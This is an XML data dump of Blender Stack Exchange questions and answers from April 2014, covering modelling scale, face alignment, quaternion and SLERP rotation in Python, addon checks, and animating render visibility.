  <row Id="8661" PostTypeId="1" AcceptedAnswerId="8665" CreationDate="2014-04-17T10:58:44.380" Score="5" ViewCount="141" Body="&lt;p&gt;Lets say I'm trying to model a vehicle, given that I have the length of it. If I enter the length using units, for example I input 4.5 meters into the y axis and start modelling with the blueprints of the car, what is the difference as compared to modelling it according to the blueprints and then scaling it up to size?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="3163" LastEditorUserId="2217" LastEditDate="2014-04-17T15:17:38.747" LastActivityDate="2015-11-04T18:32:20.180" Title="Whats the difference between entering units and scaling the model at the end" Tags="&lt;modeling&gt;&lt;mesh&gt;&lt;workflow&gt;" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8663" PostTypeId="2" ParentId="8655" CreationDate="2014-04-17T14:30:39.300" Score="1" Body="&lt;p&gt;There will be quite a difference in peoples workflow, but I would suggest something like this.&lt;br&gt;&#xA;Start by making a high poly mesh. Then after you have modeled, sculpted and are done with the high poly mesh, move on the the low poly mesh. When you have established how your character will look, you can much better make a low poly mesh that will &quot;fit&quot; your character.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-04-17T14:30:39.300" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8664" PostTypeId="2" ParentId="8661" CreationDate="2014-04-17T14:39:46.130" Score="2" Body="&lt;p&gt;If you do not scale the blue prints to the real world size (example it says 4.95 meters long but in blender it is much smaller) then you will not be able to input any dimensions. You could model it all off of the blue print then just scale the model later, but while modeling any numbers become arbitrary.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastActivityDate="2014-04-17T14:39:46.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8665" PostTypeId="2" ParentId="8661" CreationDate="2014-04-17T14:52:19.530" Score="5" Body="&lt;p&gt;The result should be the same if you scale your mesh in edit mode. However if you scale the whole object in object mode your object will behave differently when used with particles or in physics simulations. The particles and the forces on the object will be scaled as well. To avoid that problem you can apply the object-mode scale to the mesh by pressing [Ctrl+A] and selecting &quot;Scale&quot;.&lt;/p&gt;&#xA;" OwnerUserId="3089" LastActivityDate="2014-04-17T14:52:19.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8666" PostTypeId="1" AcceptedAnswerId="8667" CreationDate="2014-04-17T14:59:20.523" Score="4" ViewCount="8547" Body="&lt;p&gt;Does anybody know&#xA;how i can align a face to a specific axis?&#xA;Like the guy in this video does it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.youtube.com/watch?v=F8hEAJjSyuc&amp;amp;feature=player_detailpage#t=150&quot; rel=&quot;nofollow&quot;&gt;Video&lt;/a&gt; (link starts at 2:30 rotating happens at 2:35)&lt;br&gt;&#xA;All he says is &quot;I rotate it so, that it is parallel to the y-axis.&quot;&lt;br&gt;&#xA;Already tried google &amp;amp; co for an answer but hadn't any success.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance :)&lt;/p&gt;&#xA;" OwnerUserId="3177" LastEditorDisplayName="user1853" LastEditDate="2014-04-19T04:46:17.723" LastActivityDate="2014-04-19T04:46:17.723" Title="Align selected face parallel to a specific axis" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8667" PostTypeId="2" ParentId="8666" CreationDate="2014-04-17T15:25:22.833" Score="2" Body="&lt;p&gt;Holding &lt;kbd&gt;Ctrl&lt;/kbd&gt; while rotating snaps in 5° steps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;R&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Mouse-Movement&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enabling &lt;em&gt;Snap during transformation&lt;/em&gt; has the same effect&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pLeBl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way would be to scale the vertices of a face, with all vertices of the face selected:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ubQiv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JGNZF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Related:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://blender.stackexchange.com/questions/2289/is-there-an-easy-way-to-align-two-objects-on-a-specific-axis&quot;&gt;Is there an easy way to align two objects on a specific axis?&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap_to_Mesh&quot; rel=&quot;nofollow noreferrer&quot;&gt;Snap_to_Mesh&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="29" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.780" LastActivityDate="2014-04-17T15:48:35.713" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8668" PostTypeId="1" AcceptedAnswerId="8669" CreationDate="2014-04-17T15:40:32.540" Score="6" ViewCount="4215" Body="&lt;p&gt;How to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below is my particular use case and attempt to solve the problem:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Consider &lt;strong&gt;Z_axis&lt;/strong&gt; = (0,0,1) and an arbitrary point also on the unit sphere &lt;strong&gt;v&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can imagine the arc on the surface of the sphere from &lt;strong&gt;Z_axis&lt;/strong&gt; to &lt;strong&gt;v&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I wish to create &lt;strong&gt;v'&lt;/strong&gt; by extending the arc by 10%.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I do this from Python?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is as far as I have got:  &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unit_v = v.normalized()&#xA;rot_axis = Z_axis.cross(unit_v)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...will give a vector perpendicular to rotation plane, and &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;theta = arcsin( abs(rot_axis) ) # &amp;lt;-- some potential problem with positive and negative angles here I think&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...will return the angle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I was just need to rotate &lt;strong&gt;unit_v&lt;/strong&gt; by theta' = 0.1*theta around rot_axis&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can construct a Quaternion &lt;strong&gt;Q&lt;/strong&gt; representing the rotation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;w = cos( theta'/2 )&#xA;x,y,z = sin( theta'/2 ) * rot_axis.normalized()&#xA;&#xA;Q = Quaternion(( w,x,y,z ))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;unit_v' = unit_v.rotate(Q)&#xA;v' = abs(v) * unit_v'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is this correct, and is there a cleaner way?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(ref: &lt;a href=&quot;http://www.essentialmath.com/GDC2013/GDC13_quaternions_final.pdf&quot; rel=&quot;nofollow&quot;&gt;http://www.essentialmath.com/GDC2013/GDC13_quaternions_final.pdf&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="1693" LastEditorUserId="2217" LastEditDate="2014-04-26T17:56:29.457" LastActivityDate="2014-04-26T17:56:29.457" Title="SLERP (Spherical Linear-Interpolate) between two vectors from Python" Tags="&lt;python&gt;&lt;scripting&gt;&lt;transforms&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8669" PostTypeId="2" ParentId="8668" CreationDate="2014-04-17T16:12:33.350" Score="9" Body="&lt;p&gt;Blender 2.71 (or any recent build) has &lt;code&gt;Vector.slerp&lt;/code&gt; (spherical linear interpolation) which accepts values outside 0-1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So you can do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;a = Vector((1, 0, 0))&#xA;b = Vector((0, 1, 0))&#xA;c = a.slerp(b, 0.5)  # half way&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To over rotate 10% do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;c = a.slerp(b, 1.1)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Note, this feature is &lt;em&gt;not&lt;/em&gt; included in a stable release yet (but 2.71 will include it).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2014-04-17T16:12:33.350" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8670" PostTypeId="2" ParentId="8556" CreationDate="2014-04-17T16:45:08.747" Score="4" Body="&lt;p&gt;The reason is &quot;when perspective is disabled only the far Clip-End is used&quot;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;A large clipping range will allow you to see both near and far objects, but reduces the depth precision.&#xA;  To avoid this...&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;increase the near clipping when working on large scenes.  &lt;/li&gt;&#xA;  &lt;li&gt;decrease the far clipping when objects are not viewed at a distance.  &lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;When perspective is disabled only the far Clip-End is used&lt;/strong&gt;, very high values can still give artifacts.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;em&gt;This is not specific to blender, all OpenGL/DirectX graphics applications have these same limitations.&lt;/em&gt; &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ks0Nf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Source: &lt;a href=&quot;http://www.blender.org/manual/editors/3dview/display.html#view-panel&quot; rel=&quot;nofollow noreferrer&quot;&gt;Blender Manual&lt;/a&gt; via &lt;a href=&quot;https://developer.blender.org/p/campbellbarton/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Campbell Barton&lt;/a&gt;)&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="55" LastEditDate="2015-07-26T05:08:27.703" LastActivityDate="2015-07-26T05:08:27.703" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8671" PostTypeId="2" ParentId="8668" CreationDate="2014-04-17T17:01:37.567" Score="3" Body="&lt;p&gt;As @ideasman42 said you can use slerp for the rotation in coming releases, but until then, I think Quaternions are a good solution.&lt;br&gt;&#xA;However if you want to rotate a large number of points, rotation matrices is faster. Rotating a point &lt;code&gt;p&lt;/code&gt; using a quaternion &lt;code&gt;q&lt;/code&gt; works as follows:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;(0,p') = q * (0,p) * q^&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where (0,p) is a quaternion with a w value of 0 and the x, y and z value of p and &lt;code&gt;q^&lt;/code&gt; is the conjugated quaternion of q. &lt;code&gt;*&lt;/code&gt; denotes the quaternion multiplication.&lt;br&gt;&#xA;This is what quaternion multiplication looks like if broken into bits:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;q1*q2 = (w1,x1,y1,z1)*(w2,x2,y2,z2)&#xA;      = ( w1*w2-x1*x2-y1*y2-z1*z2 ,&#xA;          w1*x2+x1*w2+y1*z2-z1*y2 ,&#xA;          w1*y2+y1*w2+z1*x2-x1*z2 ,&#xA;          w1*z2+z1*w2+x1*y2-y1*x2  )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Both quaternion multiplications internally need 16 floatingpoint multiplications and 12 floatingpoint additions (seeing subtractions as additions with negative numbers).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Total cost:&lt;br&gt;&#xA;32 multiplications&lt;br&gt;&#xA;24 additions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rotating a point using a rotation matrix as follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;p' = R * p&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;where &lt;code&gt;R&lt;/code&gt; is the rotation matrix and &lt;code&gt;*&lt;/code&gt; denotes the matrix multiplication. Note that p is a column vector.&lt;br&gt;&#xA;Even if Blender imbeds the rotation matrix in a 4x4 transformation matrix and uses 4D homogenuous points in the calculation this results in less computation steps:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;      |r11 r12 r13 r14|   |px|   |r11*px+r12*py+r13*pz+r14*pw|&#xA;R*p = |r21 r22 r23 r24| * |py| = |r21*px+r22*py+r23*pz+r24*pw|&#xA;      |r31 r32 r33 r34|   |pz|   |r31*px+r32*py+r33*pz+r34*pw|&#xA;      |r41 r42 r43 r44|   |pw|   |r41*px+r42*py+r43*pz+r44*pw|&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Total cost:&lt;br&gt;&#xA;16 multiplications&lt;br&gt;&#xA;12 additions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If Blender internally only uses 3x3 matrices and normal 3D points the calculations get even more performant (9 multiplications and 6 additions).&lt;/p&gt;&#xA;" OwnerUserId="3089" LastEditorUserId="55" LastEditDate="2014-04-20T09:23:35.367" LastActivityDate="2014-04-20T09:23:35.367" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8672" PostTypeId="1" CreationDate="2014-04-17T17:38:53.000" Score="1" ViewCount="437" Body="&lt;p&gt;I have been creating a lot of outdoor scenes with nature. The problem I run into is the lamp choice for outdoors especially for animations. I always start with a sun, but it ends up being too bright in one small area,  and the surrounding isnt bright enough. What lamps/settings should I be using to make everything seem relatively lit equally but also realistically? &lt;/p&gt;&#xA;" OwnerUserId="2358" LastActivityDate="2014-04-17T17:38:53.000" Title="Lamps To Use For Natural Outdoor Lighting With Animations" Tags="&lt;cycles-render-engine&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="8673" PostTypeId="1" AcceptedAnswerId="8676" CreationDate="2014-04-17T18:47:04.223" Score="6" ViewCount="1624" Body="&lt;p&gt;How can I check to see if an operator from another addon is installed from my addon? This my current attempt.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def doCoolThing():&#xA;   try:&#xA;           bpy.ops.coolAddon.foo()&#xA;    except AttributeError:&#xA;           print(&quot;COOL ADDON NOT INSTALLED!&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2452" LastActivityDate="2014-04-19T23:38:55.643" Title="How can I safely call another addon?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8674" PostTypeId="1" CreationDate="2014-04-17T19:19:25.343" Score="1" ViewCount="229" Body="&lt;p&gt;I'm trying to replicate the following image using Blender:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dl.dropboxusercontent.com/u/62862049/Screenshots/03k.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;the image http://dl.dropboxusercontent.com/u/62862049/Screenshots/03k.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For this, I've used MakeHuman to generate a similar-looking human, an ortographic camera and a Lattice to deform the mesh (to give that specific distorted projection). I've set the render size to 64x64 (the original image is 32x32) and used FreeStyle for outlines. I'm also using a Sun Lamp and I've deactivated anti-aliasing. This is what I got:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dl.dropboxusercontent.com/u/62862049/Screenshots/03o.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;blender http://dl.dropboxusercontent.com/u/62862049/Screenshots/03o.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But rendering results are terrible:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dl.dropboxusercontent.com/u/62862049/Screenshots/03l.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;results http://dl.dropboxusercontent.com/u/62862049/Screenshots/03l.png&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have that feeling that I've done everything I could to get close to it but somehow it still fails miserably. The color is pale, the image is blurry, the outline is wrong in hands and face. I don't know what else to do. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.filedropper.com/disasterguloid&quot; rel=&quot;nofollow noreferrer&quot;&gt;Link to the .blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dl.dropboxusercontent.com/u/62862049/Screenshots/03m.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;Original 32x32 target image&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3057" LastEditorUserId="3057" LastEditDate="2014-04-17T19:35:28.850" LastActivityDate="2014-04-17T19:35:28.850" Title="How to improve this rendering so it looks more like the target image? (Disaster)" Tags="&lt;rendering&gt;&lt;materials&gt;&lt;texturing&gt;&lt;shaders&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2017-06-03T06:15:13.510" ContentLicense="CC BY-SA 3.0" />
  <row Id="8675" PostTypeId="2" ParentId="8674" CreationDate="2014-04-17T19:28:22.803" Score="1" Body="&lt;p&gt;When I look at his ankles in the target image, they do not seem to be proportioned like normal human ankles -- they look MUCH too thick. I suspect the creators of that figure ran into the same problems you did with trying to generate a realistic looking figure on such a small scale and compensated by not using anatomically accurate proportions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, if you want to try to use Blender's environment to make your figure, I would recommend finding proportions that might not look correct in the 3D Viewport or in MakeHuman, but that do look correct when rendered at 32x32.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is also possible that the original creators did not use a 3D model rendered at 32x32, but rather just painted the image by hand, pixel by pixel, or perhaps used some process other than rendering from a 3D environment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another possibility is to render your figure at a much higher resolution so you get all the details you want, and then shrink it down &amp;amp; selectively edit it in Photoshop.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-04-17T19:28:22.803" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8676" PostTypeId="2" ParentId="8673" CreationDate="2014-04-17T20:03:17.110" Score="4" Body="&lt;p&gt;Knowing where the addon should be found is the first thing to sort out. You can either look at the addon source and see where it attaches to, or investigate by hand. Generally you'll find it in the &lt;code&gt;bl_idname&lt;/code&gt; of the Operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example I have an addon called autoVTX for which the Operator code has these lines at the top:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class AutoVTX(bpy.types.Operator):&#xA;    bl_idname = 'view3d.autovtx'&#xA;    bl_label = 'autoVTX'&#xA;&#xA;    # ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This Operator can be accessed from &lt;code&gt;bpy.ops.view3d.autovtx()&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;try/except&lt;/code&gt; route is fine btw, as CoDEmanX rightfully points out in the comment. If you know where an addon or operator &lt;em&gt;should&lt;/em&gt; be when installed then this &lt;em&gt;should&lt;/em&gt; work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def doCoolThing():&#xA;   try:&#xA;       bpy.ops.view3d.coolAddon.foo()&#xA;   except AttributeError:&#xA;       print(&quot;COOL ADDON NOT INSTALLED!&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="47" LastEditorUserId="1363" LastEditDate="2014-04-19T23:31:24.413" LastActivityDate="2014-04-19T23:31:24.413" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8678" PostTypeId="1" CreationDate="2014-04-17T22:24:50.170" Score="7" ViewCount="6171" Body="&lt;p&gt;I've been trying to create an animation where an object blinks on and off. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, I have a Cube and I set a keyframe on it's Restrict Visibility icon (the &quot;eye&quot; icon) with &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt;, then I toggle off that &quot;eye&quot; so my cube doesn't show in the Viewport and again I press &lt;kbd&gt;&lt;code&gt;I&lt;/code&gt;&lt;/kbd&gt; to record that keyframe. Then, when I preview the animation in the Viewport, I see my cube appears and then disappears like I want, but when I render it, the cube does not disappear at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong?  &lt;/p&gt;&#xA;" OwnerUserId="3180" LastEditorUserId="2173" LastEditDate="2014-04-24T00:07:42.423" LastActivityDate="2015-06-10T01:35:14.590" Title="How can I animate the Restrict Visibility property of an object?" Tags="&lt;rendering&gt;&lt;animation&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8679" PostTypeId="2" ParentId="8678" CreationDate="2014-04-17T22:33:52.357" Score="10" Body="&lt;h2&gt;Restrict Rendering&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The feature you need to animate is the Restrict Render icon: &lt;img src=&quot;https://i.stack.imgur.com/ysoOJ.png&quot; alt=&quot;enter image description here&quot;&gt;, not the Restrict Visibility icon: &lt;img src=&quot;https://i.stack.imgur.com/I1CnH.png&quot; alt=&quot;enter image description here&quot;&gt;. Restrict Visibility only effects whether the object can be seen in the 3D Viewport -- it does not effect rendering at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UICJx.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How To Render &amp;amp; View Your Animation&lt;/h2&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Before you render your animation, first you should specify where you want the rendered animation to be saved and also the file name. To do this:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to: Outliner window -&gt; Render tab -&gt; Output section -&gt; specify the directory and file name  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select your rendered file output format. Here, I'm selecting the video format MPEG. However, &lt;a href=&quot;https://blender.stackexchange.com/questions/4874/does-blender-resume-rendering-after-returning-from-hibernation-in-windows-7/4881#4881&quot;&gt;it's considered very bad practice to render straight to a video file&lt;/a&gt; -- I'm doing it here only for the sake of brevity.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0IqdV.gif&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Next, scroll down to the Encoding section and select an appropriate encoding format. Here, I'm selecting the MPEG4 format&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/r0mnP.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now go up and click on the Render Animation button:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tk8bn.gif&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Now on your computer, go to the place where you saved your file and view it with a video file player:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pUe5A.gif&quot; alt=&quot;enter image description here&quot;&gt;   &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;If you want to play your rendered animation directly in Blender, you can use:&lt;br&gt;&#xA;Info -&gt; Render -&gt; Play Rendered Animation (&lt;kbd&gt;CTRL&lt;/kbd&gt;&lt;kbd&gt;F11&lt;/kbd&gt;)  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;NOTE:&lt;/strong&gt; The &quot;Play&quot; buttons shown under the Render Result window will &lt;strong&gt;NOT&lt;/strong&gt; play your rendered animation -- they are only for previewing your animation before rendering it: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2XrWn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about the different features of the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Data_System/The_Outliner&quot; rel=&quot;noreferrer&quot;&gt;Outliner window here&lt;/a&gt; and more about the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render&quot; rel=&quot;noreferrer&quot;&gt;Rendering Process here&lt;/a&gt; in the Blender Manual.&lt;/p&gt;&#xA;" OwnerUserId="2173" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:38.987" LastActivityDate="2014-04-18T00:20:53.040" CommentCount="15" ContentLicense="CC BY-SA 3.0" />
  <row Id="8680" PostTypeId="2" ParentId="8678" CreationDate="2014-04-17T22:34:26.180" Score="3" Body="&lt;p&gt;Simple problem, you are animating only the Viewport Visibility.&lt;br&gt;&#xA;In the Outliner, Keyframe the &quot;&lt;em&gt;Render Visibility&lt;/em&gt;&quot; (camera icon).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8XTDz.png&quot; alt=&quot;outliner showing the buttons&quot;&gt;&lt;br&gt;&#xA;That image shows an object in the outliner. The three buttons on the right edge are, in order from left to right, &lt;em&gt;Viewport Visibility&lt;/em&gt;, &lt;em&gt;Viewport Selection&lt;/em&gt; and &lt;em&gt;Render Visibility&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2015-06-10T01:35:14.590" LastActivityDate="2015-06-10T01:35:14.590" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8681" PostTypeId="2" ParentId="8655" CreationDate="2014-04-17T23:18:30.810" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Multiresolution&quot; rel=&quot;nofollow&quot;&gt;Multiresolution&lt;/a&gt; modifier gives the ability to subdivide a mesh to different levels depending on whether you are viewing it from the 3D Viewport, Sculpt Mode or a Blender Render.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Subsurf&quot; rel=&quot;nofollow&quot;&gt;Subdivision Surface&lt;/a&gt; modifier allows high resolution mesh modeling without the need to save and maintain huge amounts of data and gives a smooth organic look to the object.&lt;/p&gt;&#xA;" OwnerDisplayName="user2816" LastActivityDate="2014-04-17T23:18:30.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8682" PostTypeId="1" AcceptedAnswerId="8701" CreationDate="2014-04-18T00:57:24.190" Score="6" ViewCount="1855" Body="&lt;p&gt;I have a property called &lt;strong&gt;A&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have another property called &lt;strong&gt;ADP&lt;/strong&gt; that stores the data path of &lt;strong&gt;A&lt;/strong&gt; as a string&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I use the string data path to set property &lt;strong&gt;A&lt;/strong&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could add &quot;= myvar&quot; to the end of the string and use exec on the new string but that's overkill I think.&lt;/p&gt;&#xA;" OwnerUserId="3141" LastActivityDate="2014-04-18T15:50:33.147" Title="set a property via its data path stored in a string" Tags="&lt;python&gt;&lt;path&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
